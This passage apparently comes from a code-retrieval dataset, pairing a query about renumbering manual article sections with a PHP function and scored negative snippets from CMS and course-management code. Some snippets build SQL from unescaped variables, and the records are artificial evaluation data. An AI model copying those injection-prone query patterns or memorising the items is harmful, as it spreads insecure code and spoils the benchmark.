getStatusAsString()\n {\n $list = self::getStatusList();\n if (isset($list[$this->status]))\n return $list[$this->status];\n \n return 'Unknown';\n }", "title": "" }, { "docid": "afd4cf719d7e5624f32ad4ce340923d9", "score": "0.48816532", "text": "public function getStatus() {\r\r\n\t\treturn $this->status;\r\r\n\t}", "title": "" }, { "docid": "1b1426538e884be121ee695c3ad53b2e", "score": "0.48816124", "text": "protected static function getSeverityOK()\r\n {\r\n return FlashMessage::OK;\r\n }", "title": "" }, { "docid": "fb3781728dc4bc02a05052bcae06ef00", "score": "0.48811468", "text": "public function get_status()\n {\n return $this->status;\n }", "title": "" }, { "docid": "fb3781728dc4bc02a05052bcae06ef00", "score": "0.48811468", "text": "public function get_status()\n {\n return $this->status;\n }", "title": "" }, { "docid": "e1c38de703cb9eed49aea1281c01d58f", "score": "0.4875599", "text": "public function checkStatus($string = NULL)\n {\n \t$args = array(\n \t\t'string' => $string\n \t);\n \t\n \treturn $this->_request('status/', $args);\n }", "title": "" } ]
67825a73d6963601f7f623451bb79b1c
Function change section number each article in selected manual after user saved article.
[ { "docid": "86ab56c8f4d02ae6a3278c6eb4193704", "score": "0.7684788", "text": "function change_section_numbers() {\n\t\tglobal $db, $table_prefix, $manual_id;\n\t\n\t\t// update menu links for new structure\n\t\t$items = array();\n\t\t$section_counters = array();\n\t\t$section_counters[0] = 0;\n\t\t$section_numbers = array();\n\t\t\n\t\t$sql = \" SELECT article_id, parent_article_id, section_number FROM \" . $table_prefix . \"manuals_articles \";\n\t\t$sql .= \" WHERE manual_id=\" . $db->tosql($manual_id, INTEGER);\n\t\t$sql .= \" ORDER BY article_path, article_order\";\n\t\t$db->query($sql);\n\t\twhile ($db->next_record()) {\n\t\t\t$article_id = $db->f(\"article_id\");\n\t\t\t$parent_article_id = $db->f(\"parent_article_id\");\n\t\t\t$items[$article_id] = $parent_article_id;\n\t\t\t\n\t\t\t$section_counters[$article_id] = 0;\n\t\t}\n\t\t\n\t\tforeach ($items as $article_id => $parent_article_id) {\n\t\t\t$parent_id = $parent_article_id;\n\t\t\tif (!$parent_article_id || $parent_article_id == $article_id) {\n\t\t\t\t$parent_article_id = 0;\n\t\t\t}\n\n\t\t\tif ($parent_article_id == 0) {\n\t\t\t\t$section_number_str = ++$section_counters[$parent_article_id];\n\t\t\t} else {\n\t\t\t\tif (isset($section_numbers[$parent_article_id])) {\n\t\t\t\t\t$section_number_str = $section_numbers[$parent_article_id].\".\" . ++$section_counters[$parent_article_id];\n\t\t\t\t}\n\t\t\t}\n\t\t\t$section_numbers[$article_id] = $section_number_str;\n\n\t\t\t$sql = \" UPDATE \" . $table_prefix . \"manuals_articles SET \";\n\t\t\t$sql .= \"section_number=\".$db->tosql($section_number_str, TEXT);\n\t\t\t$sql .= \" WHERE article_id=\" . $db->tosql($article_id, INTEGER);\n\t\t\t$db->query($sql); \n\t\t}\t\n\t}", "title": "" } ]
[ { "docid": "72685b8bb141c1946183286ba1d00700", "score": "0.64088833", "text": "function save_int_id_for_section( $post_id, $section, $number ) {\n \n $meta_id = '';\n \n $counter = $this->interpretation_counter($number); \n \n if ( $counter == 1 ) {\n \n $chart_content = get_post_meta($post_id, 'chart_content');\n \n foreach($chart_content as $content) {\n \n $content['na_full'] = $this->get_interpretation_id($total);\n \n }\n \n $meta_id = update_post_meta($post_id, 'chart_content', $content); \n \n } \n \n return $meta_id;\n }", "title": "" }, { "docid": "8a5a82968cc0968bc1d293cb83dc83b8", "score": "0.6227317", "text": "function RenumberSections($design,$increment=10){\n global $link;\n debug_string(\"RenumberSections($design,$increment)\");\n $sql = \"select SectionID from des_sections where subsection=0 and DesignNo=$design order by seq\";\n\t$sectionlist = MYSQLGetData($link,$sql);\n\tif (count($sectionlist)==0)return;//if we didn't get any records we're done; exit\n\tdebug_array(\"sectionlist\",$sectionlist);\n\t$newseq = $increment;\n\tforeach($sectionlist as $section){\n\t\tdebug_array(\"section\",$section);\n\t\t$sectionid=$section['SectionID'];\n\t\tdebug_string(\"sectionid\", $sectionid);\n\t\t$sql = \"update des_sections set seq=$newseq where DesignNo=$design and SectionID=$sectionid\" ;\n\t\tdo_mysql($link,$sql);\n\t\t$newseq += $increment;\n\t\tdebug_string(\"sql\",$sql);\n\t\tdebug_string(\"newseq\",$newseq);\n\t}\n}", "title": "" }, { "docid": "3fdc67e7bae97205cd2c40da8e2e6c5b", "score": "0.6218734", "text": "function reader_set_numsections($course, $numsections) {\n global $DB;\n if (is_numeric($course)) {\n $course = $DB->get_record('course', array('id' => $course));\n }\n if (empty($course) || empty($course->id)) {\n return false;\n }\n if (isset($course->numsections)) {\n return $DB->set_field('course', 'numsections', $numsections, array('id' => $course->id));\n } else {\n return $DB->set_field('course_format_options', 'value', $numsections, array('courseid' => $course->id, 'format' => $course->format));\n }\n}", "title": "" }, { "docid": "2cdfb07d24dd57cd6bf56eb097b28737", "score": "0.58397126", "text": "function change_article_path() {\n\t\tglobal $db, $table_prefix, $manual_id;\n\t\n\t\t// update menu links for new structure\n\t\t$items = array();\n\t\t$section_counters = array();\n\t\t$section_counters[0] = 0;\n\t\t$section_numbers = array();\n\t\t\n\t\t$sql = \" SELECT article_id, parent_article_id, section_number FROM \" . $table_prefix . \"manuals_articles \";\n\t\t$sql .= \" WHERE manual_id=\" . $db->tosql($manual_id, INTEGER);\n\t\t$sql .= \" ORDER BY article_path, article_order\";\n\t\t$db->query($sql);\n\t\twhile ($db->next_record()) {\n\t\t\t$article_id = $db->f(\"article_id\");\n\t\t\t$parent_article_id = $db->f(\"parent_article_id\");\n\t\t\t$items[$article_id] = $parent_article_id;\n\t\t\t\n\t\t\t$section_counters[$article_id] = 0;\n\t\t}\n\t\t\n\t\tforeach ($items as $article_id => $parent_article_id) {\n\t\t\tif (!isset($section_counters[$parent_article_id])) {\n\t\t\t\t$section_counters[$parent_article_id] = 0;\n\t\t\t}\n\t\t\tif (!isset($section_number_in_level[$parent_article_id])) {\n\t\t\t\t$section_number_in_level[$parent_article_id] = 0;\n\t\t\t}\n\t\t\t$section_number_in_level[$article_id] = ++$section_counters[$parent_article_id];\n\t\t}\n\n\t\tforeach ($items as $article_id => $parent_article_id) {\n\t\t\t$parent_id = $parent_article_id;\n\t\t\tif (!$parent_article_id || $parent_article_id == $article_id) {\n\t\t\t\t$parent_article_id = 0;\n\t\t\t}\n\n\t\t\t$article_path = \"\";\n\t\t\t$section_number_str = $section_number_in_level[$article_id];\n\t\t\t$current_parent_article_id = $parent_article_id;\n\t\t\t\n\t\t\twhile ($current_parent_article_id) {\n\t\t\t\t$article_path = $current_parent_article_id.\",\".$article_path;\n\t\t\t\t$section_number_str = $section_number_in_level[$current_parent_article_id].\".\".$section_number_str;\n\t\t\t\t$parent_article_id = isset($items[$current_parent_article_id]) ? $items[$current_parent_article_id] : 0;\n\t\t\t\tif ($parent_article_id == $current_parent_article_id) {\n\t\t\t\t\t$current_parent_article_id = 0;\n\t\t\t\t} else {\n\t\t\t\t\t$current_parent_article_id = $parent_article_id;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$sql = \" UPDATE \" . $table_prefix . \"manuals_articles SET \";\n\t\t\t$sql .= \" article_path=\" . $db->tosql($article_path, TEXT, true, false);\n\t\t\t$sql .= \" WHERE article_id=\" . $db->tosql($article_id, INTEGER);\n\t\t\t\n\t\t\t$db->query($sql); \n\t\t}\t\n\t}", "title": "" }, { "docid": "4e1ab05a2927ee26cada74fe31fa84a8", "score": "0.5783993", "text": "function socialwiki_save_section($page, $sectiontitle, $sectioncontent, $uid) {\n $wiki = socialwiki_get_wiki_from_pageid($page->id);\n $cm = get_coursemodule_from_instance('socialwiki', $wiki->id);\n $context = context_module::instance($cm->id);\n\n if (has_capability('mod/socialwiki:editpage', $context)) {\n $content = socialwiki_parser_proxy::get_section($page->content, $page->format, $sectiontitle, true);\n $newcontent = $content[0] . $sectioncontent . $content[2];\n\n return socialwiki_save_page($page, $newcontent, $uid);\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "8ca06d506231744cb79410c263f7ea6f", "score": "0.5765515", "text": "protected function getSectionId($article)\n {\n try {\n $key = $article->getData('printsection') ?: $article->getNumber();\n } catch (Exception $e) {\n $key = $article->getNumber();\n }\n\n if (!isset($this->ids[$key])) {\n $this->ids[$key] = count($this->ids) + 1;\n }\n\n return $this->ids[$key];\n }", "title": "" }, { "docid": "dece8e29b20413f55bed17ca2a37dd1f", "score": "0.56882", "text": "public function after_restore_course() {\n global $DB;\n\n $backupinfo = $this->step->get_task()->get_info();\n if ($backupinfo->original_course_format !== 'visualsections') {\n // Backup from another course format or backup.\n return;\n }\n\n $courseid = $this->task->get_courseid();\n\n // Get section numbers by original section ids.\n $sectnumsbyid = [];\n foreach ($backupinfo->sections as $key => $section) {\n $path = $this->task->get_basepath();\n $sectionfile = $path.'/'.$section->directory.'/section.xml';\n $sectel = new SimpleXMLElement(file_get_contents($sectionfile));\n $atts = $sectel->attributes();\n $id = (int) $atts['id'][0];\n $numberx = $sectel->xpath('//number');\n $sectionnumber = (int) $numberx[0];\n $sectnumsbyid[$id] = $sectionnumber;\n }\n\n $format = \\format_visualsections::instance($courseid);\n\n $newsectionidsbynum = $DB->get_records_menu('course_sections',\n ['course' => $courseid], '', 'section, id'\n );\n\n foreach ($sectnumsbyid as $id => $num) {\n $formatoptions = $format->get_format_options($num);\n if (!empty($formatoptions['parentid'])) {\n $sectionid = $newsectionidsbynum[$num];\n $oldparentid = $formatoptions['parentid'];\n // Get parent section number for old parent section id.\n $sectnum = $sectnumsbyid[$oldparentid];\n // Get new section id.\n $newparentid = $newsectionidsbynum[$sectnum];\n // Update format with new parentid.\n $formatoptions['parentid'] = $newparentid;\n $formatoptions['id'] = $sectionid;\n $format->update_section_format_options($formatoptions);\n }\n }\n }", "title": "" }, { "docid": "9ddd20b49b218b3c2fe0117baefc369f", "score": "0.56485796", "text": "public function modifySectionAction()\n {\n \ttry {\n $id = $this->_request->getParam('id','');\n\n\t\t\t$data = array(\n \"alb_id\" => $this->_request->getParam('albId'),\n\t\t\t\t\"als_name\" => $this->_request->getParam('name'),\n\t\t\t\t\"als_order\" => $this->_request->getParam('order'),\n\t\t\t\t\"als_num_sheets\" => $this->_request->getParam('num_sheets')\n\t\t\t\t);\n\n\t\t\t$model = new Application_Model_DbTable_Sections();\n\n\t\t\t//Edicion de album\n\t\t\tif($id != ''){\n\t\t\t\t$model->update($data,'als_id ='.$id);\n\t\t\t}else{\n\t\t\t\t$id = $model->insert($data);\n\t\t\t}\n\n\t\t\t$output = array('success'=>true,'description'=>$id);\n\t\t\t$this->getResponse()->appendBody($this->_helper->json($output));\n\n\t\t} catch (Exception $e) {\n\t\t\t$output = array('success'=>false,'description'=>$e->getMessage());\n\t\t\t$this->getResponse()->appendBody($this->_helper->json($output));\n\t\t}\n }", "title": "" }, { "docid": "a226565a250f503e6f324f387a0250c5", "score": "0.559916", "text": "function wpc_custom_front_sections( $num_sections )\n\t{\n\t\treturn 5; //Change this number to change the number of the sections.\n\t}", "title": "" }, { "docid": "aee5e0abff1b48012a99d299b4c12c9a", "score": "0.5568411", "text": "public function setSections(){\r\n $args = [\r\n [\r\n 'id' => 'mrl_admin_index_septem',\r\n 'title' => 'Settings',\r\n 'callback' => [$this->callbacks_mngr, 'adminSectionManager'],\r\n 'page' => 'mrl_plugin_septem'\r\n ]\r\n ];\r\n\r\n $this->settings->setSections($args);\r\n }", "title": "" }, { "docid": "7fdf3ddd5a8ee907d2a0c2f971c9c5bf", "score": "0.55396026", "text": "protected function save_settings_for_current_section()\n {\n }", "title": "" }, { "docid": "5ed28f0add4fe57458fa4bab47a53cbe", "score": "0.5509388", "text": "function add_mod_to_section($mod) {\n GLOBAL $db;\n\n if ($section = get_record_sql(\"SELECT * FROM course_sections\n WHERE course = '$mod->course' AND section = '$mod->section'\") ) {\n\n if ($section->sequence) {\n $newsequence = \"$section->sequence,$mod->coursemodule\";\n } else {\n $newsequence = \"$mod->coursemodule\";\n }\n if (set_field(\"course_sections\", \"sequence\", $newsequence, \"id\", $section->id)) {\n return $section->id; // Return course_sections ID that was used.\n } else {\n return 0;\n }\n\n } else { // Insert a new record\n $section->course = $mod->course;\n $section->section = $mod->section;\n $section->summary = \"\";\n $section->sequence = $mod->coursemodule;\n return insert_record(\"course_sections\", $section);\n }\n}", "title": "" }, { "docid": "f70651b0668f4f0b0c84ed33b9e33094", "score": "0.55038506", "text": "public function change()\n {\n \t$table = $this->table('sections');\n\n \t$table\n\t\t ->removeIndex(['section'])\n\t\t ->addIndex('section', ['unique' => false])\n\t\t ->save();\n }", "title": "" }, { "docid": "2fabad718d98af8e818f9610fcf93105", "score": "0.5461656", "text": "public function section($uid = NV) { // add a section heading\n\t$this->itm->inpHelp(\"selSection\", \"cap\", $uid);\n}", "title": "" }, { "docid": "afaae0816a0e9747f95630e2f4078cbe", "score": "0.5454456", "text": "function plusone_fileno_es($sectionid){\n $CI = & get_instance();\n $CI->db->select_max('section_number');\n $CI->db->where('section_id',$sectionid);\n $query = $CI->db->get(FILES_SECTION, 1);\n $result = $query->row_array();\n $CI->db->last_query();\n return $result['section_number'] + 1;\n}", "title": "" }, { "docid": "a5508394d02fab50041c98a50bbf1bd8", "score": "0.5446573", "text": "public function actionChangeSection()\n {\n \n $proCode= yii::app()->session['stfProCode'];\n $batName= yii::app()->session['stfBatName'];\n $secName= yii::app()->session['stfSecName'];\n \n $newSecName= yii::app()->session['stfNewSecName'];\n $curTerm = yii::app()->session['stfTerm'];\n $curYear = yii::app()->session['stfYear'];\n // echo $curYear;\n \n if(isset($_POST['offered']))\n {\n \n foreach ($_POST['offered'] as $item)\n {\n \n $oldRemarks = \" -- Changed From: section:{$secName} on \".date('d-m-Y').\"----\";\n //--------------update the section in tbl_p_admission------//\n $sqlAd=\"UPDATE tbl_p_admission SET adm_remarks='{$oldRemarks}', \\\"sectionName\\\"='{$newSecName}'\n WHERE \\\"studentID\\\"='{$item}' and \\\"sectionName\\\"='{$secName}' and \\\"batchName\\\"={$batName} and \\\"programmeCode\\\"='{$proCode}';\";\n \n //--------------\n //echo $sqlAd.\"<br/>\";\n Yii::app()->db->createCommand($sqlAd)->queryAll();\n \n \n $tra = TermAdmission::model()->findByAttributes(array('tra_term'=>$curTerm,'tra_year'=>$curYear,'studentID'=>$item,'batchName'=>$batName,'programmeCode'=>$proCode));\n \n \n if(count($tra))\n {\n //-----------delete module registration-------\n if(count(ModuleRegistration::model()->findAllByAttributes(array('termAdmissionID'=>$tra->termAdmissionID))))\n {\n $sqlMreg= \"DELETE FROM tbl_s_moduleregistration WHERE \\\"termAdmissionID\\\"={$tra->termAdmissionID};\";\n \n // echo $sqlMreg.\"<br/>\";\n Yii::app()->db->createCommand($sqlMreg)->queryAll();\n \n $ofm = Offeredmodule::model()->findAllByAttributes(array('ofm_term'=>$curTerm,'ofm_year'=>$curYear,'sectionName'=>$newSecName,'batchName'=>$batName,'programmeCode'=>$proCode));\n $markingScheme = MarkingScheme::model()->findByAttributes(array('ex_mrs_default'=>true));\n $exam = Examination::model()->findByAttributes(array('exm_examTerm'=>$curTerm,'exm_examYear'=>$curYear,'exm_type'=>1));\n foreach ($ofm as $ofmItem)\n {\n $sqlMregInsert = \"Select sp_insertmoduleregistration({$markingScheme->markingSchemeID}, {$ofmItem->offeredModuleID}, {$tra->termAdmissionID}, {$exam->examinationID});\";\n // echo $sqlMregInsert.\"<br/>\";\n Yii::app()->db->createCommand($sqlMregInsert)->queryAll();\n }\n }\n }\n \n \n \n }\n \n Yii::app()->user->setFlash('success','Section transfer success!!');\n }\n \n \n \n \n \n \n \n //$dataProvider = Admission::model()->search($secName,$batName,$proCode);\n \n \n \n // $this->redirect(array('headsfunction/sectionTransfer'));\n $dataProvider = Admission::model()->search($secName,$batName,$proCode);\n $this->renderPartial('_sectionTransferForm2',array(\n 'dataProvider'=>$dataProvider\n ));\n\n //echo $sql;\n }", "title": "" }, { "docid": "196bdbbec4d2cfa9980e69c878938aa0", "score": "0.5423718", "text": "function add_mod_to_section($mod, $beforemod=NULL) {\n/// If $before is specified, then this is an existing ID which we\n/// will insert the new module before\n///\n/// Returns the course_sections ID where the mod is inserted\n\n if ($section = get_record(\"course_sections\", \"course\", \"$mod->course\", \"section\", \"$mod->section\")) {\n\n $section->sequence = trim($section->sequence);\n\n if (empty($section->sequence)) {\n $newsequence = \"$mod->coursemodule\";\n\n } else if ($beforemod) {\n $modarray = explode(\",\", $section->sequence);\n\n if ($key = array_keys ($modarray, $beforemod->id)) {\n $insertarray = array($mod->id, $beforemod->id);\n array_splice($modarray, $key[0], 1, $insertarray);\n $newsequence = implode(\",\", $modarray);\n\n } else { // Just tack it on the end anyway\n $newsequence = \"$section->sequence,$mod->coursemodule\";\n }\n\n } else {\n $newsequence = \"$section->sequence,$mod->coursemodule\";\n }\n\n if (set_field(\"course_sections\", \"sequence\", $newsequence, \"id\", $section->id)) {\n return $section->id; // Return course_sections ID that was used.\n } else {\n return 0;\n }\n\n } else { // Insert a new record\n $section->course = $mod->course;\n $section->section = $mod->section;\n $section->summary = \"\";\n $section->sequence = $mod->coursemodule;\n return insert_record(\"course_sections\", $section);\n }\n}", "title": "" }, { "docid": "8271d5d1c4697d9ace019f3c6167b306", "score": "0.54227215", "text": "public function setSection()\n {\n $this->section = $this->uri[1] === '' ? DEFAULT_SECTION : ucfirst($this->uri[1]);\n }", "title": "" }, { "docid": "5cfb5575e629dda0a739ccc7ab42feea", "score": "0.54199463", "text": "public function getId(){\n return $this->__get('section_id');\n }", "title": "" }, { "docid": "e4fc7b0f2475985612878744a0548d9e", "score": "0.54046065", "text": "function setSectionId($value) {\n\t\treturn $this->setColumnValue('section_id', $value, BaseModel::COLUMN_TYPE_INTEGER);\n\t}", "title": "" }, { "docid": "facc5bab79e819c14fea0029907a3f54", "score": "0.53467005", "text": "private function setInternalSections(){\n \n $this->internalsections = [];\n \n $query = \\Drupal::entityQuery('taxonomy_term');\n $query->condition('vid', 'section');\n $query->condition('field_internal_section.value', 1);\n $results = $query->execute();\n \n if($results)\n $this->internalsections = array_keys($results);\n }", "title": "" }, { "docid": "50b75531b5bbae2db9f00555219d33a4", "score": "0.5336689", "text": "function set_sections()\n\t{\n\t\t$EE =& get_instance();\n\t\t\n\t\t$js = <<<EOF\n$(document).ready(function() {\n\tel = $(\"#navigationTabs li a:contains('Publish')\").siblings().clone();\n\tif (el.html() != null)\n\t{\n\t\tel.html( el.html().replace(/content_publish&amp;M=entry_form/g, \"content_edit\") );\n\t\t$(\"#navigationTabs li a:contains('Edit')\").parent().addClass(\"parent\");\n\t\t$(\"#navigationTabs li a:contains('Edit')\").parent().append( \"<ul>\"+el.html()+\"</ul>\" );\n\t}\n});\nEOF;\n \t$EE->cp->add_to_head('<script type=\"text/javascript\" charset=\"utf-8\">'.$js.'</script>');\n\n\t\t$this->sections[] = '<script type=\"text/javascript\" charset=\"utf-8\">$(\"#accessoryTabs a.sc_edit_menu\").parent().remove();</script>';\n\t}", "title": "" }, { "docid": "836556d41564a2b6dcc9c9316113bc6f", "score": "0.5330432", "text": "protected function get_section_id()\r\n {\r\n return \"\"; //app::section_ids()->cars();\r\n }", "title": "" }, { "docid": "6f4a9a597898473e9158dff0bdb0bd50", "score": "0.5313852", "text": "public function setSections(array $sections)\n\t{\n\t\t$this->sections=$sections; \n\t\t$this->keyModified['sections'] = 1; \n\n\t}", "title": "" }, { "docid": "de5bcfeda7e262d13963067daa53bcfd", "score": "0.5296072", "text": "function set_section_visible($courseid, $sectionnumber, $visibility) {\n/// and does the same for every activity in that section\n\n if ($section = get_record(\"course_sections\", \"course\", $courseid, \"section\", $sectionnumber)) {\n set_field(\"course_sections\", \"visible\", \"$visibility\", \"id\", $section->id);\n if (!empty($section->sequence)) {\n $modules = explode(\",\", $section->sequence);\n foreach ($modules as $moduleid) {\n set_field(\"course_modules\", \"visible\", \"$visibility\", \"id\", $moduleid);\n }\n }\n rebuild_course_cache($courseid);\n }\n}", "title": "" }, { "docid": "dd18037d89a320e4bed2836c182bd456", "score": "0.5295842", "text": "public function savesection()\n\t{\n\t\tif (!$this->course->access('manage', 'offering'))\n\t\t{\n\t\t\treturn $this->panel();\n\t\t}\n\n\t\t// Incoming posted data\n\t\t$fields = Request::getArray('fields', array(), 'post');\n\t\t$fields = array_map('trim', $fields);\n\n\t\t// Instantiate a new table row and bind the incoming data\n\t\t$section = Section::oneOrNew($fields['id'])->set($fields);\n\n\t\t// Check for alias duplicates\n\t\tif (!$section->isUnique())\n\t\t{\n\t\t\tApp::redirect(\n\t\t\t\tRoute::url($this->base . '&unit=manage'),\n\t\t\t\tLang::txt('COM_FORUM_ERROR_SECTION_ALREADY_EXISTS'),\n\t\t\t\t'error'\n\t\t\t);\n\t\t}\n\n\t\t// Store new content\n\t\tif (!$section->save())\n\t\t{\n\t\t\tNotify::error($section->getError());\n\t\t}\n\n\t\t// Log activity\n\t\tEvent::trigger('system.logActivity', [\n\t\t\t'activity' => [\n\t\t\t\t'action' => ($fields['id'] ? 'updated' : 'created'),\n\t\t\t\t'scope' => 'forum.section',\n\t\t\t\t'scope_id' => $section->get('id'),\n\t\t\t\t'description' => Lang::txt('PLG_COURSES_DISCUSSIONS_ACTIVITY_SECTION_' . ($fields['id'] ? 'UPDATED' : 'CREATED'), '<a href=\"' . Route::url($this->base) . '\">' . $section->get('title') . '</a>'),\n\t\t\t\t'details' => array(\n\t\t\t\t\t'title' => $section->get('title'),\n\t\t\t\t\t'url' => Route::url($this->base)\n\t\t\t\t)\n\t\t\t],\n\t\t\t'recipients' => array(\n\t\t\t\t['course', $this->offering->get('id')],\n\t\t\t\t['forum.' . $this->forum->get('scope'), $this->forum->get('scope_id')],\n\t\t\t\t['forum.section', $section->get('id')],\n\t\t\t\t['user', $section->get('created_by')]\n\t\t\t)\n\t\t]);\n\n\t\t// Set the redirect\n\t\tApp::redirect(\n\t\t\tRoute::url($this->base . '&unit=manage')\n\t\t);\n\t}", "title": "" }, { "docid": "953a73e65495814ed6a781c4a82f8025", "score": "0.5294531", "text": "function wpc_custom_front_sections( $num_sections )\r\n{\r\n\treturn X2_get_theme_option( 'num_front_panels' ); //Change this number to change the number of the sections.\r\n}", "title": "" }, { "docid": "2cbb8116f6621a6cca6d93ee262f7ae8", "score": "0.52848995", "text": "public static function set_numsections($course, $numsections) {\n global $DB;\n if (is_numeric($course)) {\n $course = $DB->get_record('course', array('id' => $course));\n }\n if (empty($course) || empty($course->id)) {\n return false;\n }\n if (isset($course->numsections)) {\n return $DB->set_field('course', 'numsections', $numsections, array('id' => $course->id));\n } else {\n return $DB->set_field('course_format_options', 'value', $numsections, array('courseid' => $course->id, 'format' => $course->format));\n }\n }", "title": "" }, { "docid": "18ea7cc71ff0d33d4c7cd7085efef3f6", "score": "0.5264572", "text": "function section_persistent(){\n\t\t$this->post_type_setup();\n\t\t\n\t\t$this->post_meta_setup();\t \n\t\t\n\t\t$options = array(\n\t\t\t'posts_feature_control' => array(\n\t\t\t\t\t'default'\t=> false,\n\t\t\t\t\t'version'\t=> 'pro',\n\t\t\t\t\t'type'\t\t=> 'check',\n\t\t\t\t\t'inputlabel'=> __( 'Enable Feature Metapanel on Posts?', 'pagelines' ),\n\t\t\t\t\t'title'\t\t=> __( 'Feature Section - Enable \"Post-As-Feature\" Control Metapanel', 'pagelines' ),\n\t\t\t\t\t'shortexp'\t=> __( 'Shows as metapanel for controlling the appearance of posts inside the feature slider.', 'pagelines' ),\n\t\t\t\t\t'exp'\t\t=> __( 'If you are using the feature slider in posts or post category mode, you may want to control the appearance of the posts inside the feature. Enable this option to show the posts metapanel.', 'pagelines' )\n\t\t\t\t),\n\t\t);\n\t\t\n\t\tpl_global_option( array( 'menu' => 'advanced', 'options' => $options, 'location' => 'top' ) );\n\n\t}", "title": "" }, { "docid": "cea2250e8757d77cee0f63b4976a6679", "score": "0.52635944", "text": "function set_values_before_show() {\n\t\tglobal $r;\n\t\tglobal $t;\n\t\tglobal $db;\n\t\tglobal $table_prefix;\n\n\t\t$t->set_var(\"saved_article_order\", $r->get_value(\"article_order\"));\n\t\t$t->set_var(\"saved_parent_article_id\", $r->get_value(\"parent_article_id\"));\n\t\t$alias_article_id = $r->get_value(\"alias_article_id\");\n\t\t$manual_id = $r->get_value(\"manual_id\", INTEGER);\n\t\tif ($alias_article_id != \"\") {\n\t\t\t// get alias article title and its manual\n\t\t\t$sql = \"SELECT a.article_title, a.section_number, m.manual_title FROM \" . $table_prefix . \"manuals_articles a\";\n\t\t\t$sql .= \" LEFT JOIN \" . $table_prefix.\"manuals_list m ON a.manual_id = m.manual_id\";\n\t\t\t$sql .= \" WHERE a.article_id = \" . $db->tosql($alias_article_id, INTEGER);\n\t\t\t//$sql .= \" AND m.manual_id = \" . $db->tosql($manual_id, INTEGER);\n\t\t\t\n\t\t\t$db->query($sql);\n\t\t\t\n\t\t\tif ($db->next_record()) {\n\t\t\t\t$alias_article_title = $db->f(\"section_number\");\n\t\t\t\t$alias_article_title .= \"&nbsp;\" . $db->f(\"article_title\");\n\t\t\t\t$alias_article_title .= \"(\" . $db->f(\"manual_title\") . \")\";\n\t\t\t\t$t->set_var(\"alias_article_title\", $alias_article_title);\n\t\t\t}\n\t\t} else {\n\t\t\t$t->set_var(\"alias_article_title\", \"\");\n\t\t}\n\t}", "title": "" }, { "docid": "0a0437f04f0c586d34a2759eeadf1798", "score": "0.5250264", "text": "public function section($params) {\n\n\t\t$this->current_section = $params ;\n\t\t$this->section[ ++$this->current_section_id ] = $this->current_section ;\t//pre increment\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "393f8cafc0041de03d08e90e04ef2b05", "score": "0.5241457", "text": "public function saveSection($post=NULL) {\n $data = array('id' => '',\n 'name' => $post['section']);\n $this->insert($data);\n return $this->getAdapter()->lastInsertId();\n }", "title": "" }, { "docid": "e25fd64fe0299bc9aa0147063d1d3132", "score": "0.5229177", "text": "public function update($section);", "title": "" }, { "docid": "ba0c270514f98ba438e7b20b7e2adc37", "score": "0.5222785", "text": "public function update(){\n //Prueba de validacion para evitar formulario vacio\n $this->validate();\n\n $this->section->save();\n $this->section = new Section();\n $this->course = Course::find($this->course->id);\n }", "title": "" }, { "docid": "526e25cc186017347cafd3c7c9480627", "score": "0.5195039", "text": "function set_sections()\n\t{\n\t\t$this->sections[$this->name] = $this->_build_tips();\n\t}", "title": "" }, { "docid": "f0399b4068c943bda0fd0c6f82153597", "score": "0.5190039", "text": "private function setUserSections(){\n $user = $this->getUser();\n \n $this->usersections = array_column($user->field_sections->getValue(),'target_id');\n }", "title": "" }, { "docid": "98a12e32337573816af3f8c920ec9b38", "score": "0.5184387", "text": "public function getSectionId()\n {\n return $this->section_id;\n\n }", "title": "" }, { "docid": "f3abc1432300a70c0ee5a70bb2c8b8ad", "score": "0.5176755", "text": "public function actionChangeEdition()\n {\n if(isset($_POST[\"edition\"]) && !empty($_POST[\"edition\"]))\n {\n foreach($_POST[\"edition\"] as $value)\n {\n $cookie[]=$value;\n }\n\n CommonHelpers::createCookie(\\Yii::$app->params['frontend_edition_country_id_cookie'], implode(\"-\",$cookie), NULL);\n }\n $this->goHome();\n\n }", "title": "" }, { "docid": "7406088ecd767366545ea0218270fdcb", "score": "0.5174205", "text": "public function sortSection() {\n $sorted = $this->input->post('sort');\n $data = json_decode($sorted, TRUE);\n $counted = count($data[0]);\n for($x=0; $x < $counted; $x++){\n $sectionid = $data[0][$x][\"id\"];\n $arrdata = array();\n $arrdata['serialid'] = $x;\n $this->db->where('sectionid', $sectionid);\n $this->db->update('section', $arrdata);\n }\n }", "title": "" }, { "docid": "13dadc2c6991c52750b0ccf2043de679", "score": "0.5151486", "text": "final function setSection_id($value) {\n\t\treturn $this->setSectionId($value);\n\t}", "title": "" }, { "docid": "b9c2545a7d62bb6ba7dc8dfc7e987586", "score": "0.5150465", "text": "public function add_section() {\n\t $this->use_layout = false;\n\t\t$this->model = new $this->model_class(WaxUrl::get(\"id\"));\n\t\t$section = new CmsSection(substr($_POST[\"id\"], 4));\n\t\t$this->model->allowed_sections = $section;\n\t\t$sect = new CmsSection;\n\t\t$this->all_sections = $sect->all();\n\t\t$this->use_view = \"_list_sections\";\n\t}", "title": "" }, { "docid": "1ba3db3c0a6f97d8fcbeec7d62a4be62", "score": "0.5142689", "text": "public function savesection()\n\t{\n\t\t// Check for request forgeries\n\t\tRequest::checkToken();\n\n\t\t// Incoming posted data\n\t\t$fields = Request::getArray('fields', array(), 'post');\n\t\t$fields = array_map('trim', $fields);\n\t\t$fields['state'] = 1;\n\n\t\t// Instantiate a new table row and bind the incoming data\n\t\t$section = \\Components\\Forum\\Models\\Section::oneOrNew($fields['id'])->set($fields);\n\n\t\tif (in_array($section->get('alias'), array('new', 'settings', 'savesettings')))\n\t\t{\n\t\t\tApp::redirect(\n\t\t\t\tRoute::url($this->base),\n\t\t\t\tLang::txt('PLG_GROUPS_FORUM_SECTION_TITLE_RESERVED', $section->get('alias')),\n\t\t\t\t'error'\n\t\t\t);\n\t\t}\n\n\t\t// Check for alias duplicates\n\t\tif (!$section->isUnique())\n\t\t{\n\t\t\tApp::redirect(\n\t\t\t\tRoute::url($this->base),\n\t\t\t\tLang::txt('PLG_GROUPS_FORUM_ERROR_SECTION_ALREADY_EXISTS'),\n\t\t\t\t'error'\n\t\t\t);\n\t\t}\n\n\t\t// Store new content\n\t\tif (!$section->save())\n\t\t{\n\t\t\tNotify::error($section->getError());\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Log activity\n\t\t\tEvent::trigger('system.logActivity', [\n\t\t\t\t'activity' => [\n\t\t\t\t\t'action' => ($fields['id'] ? 'updated' : 'created'),\n\t\t\t\t\t'scope' => 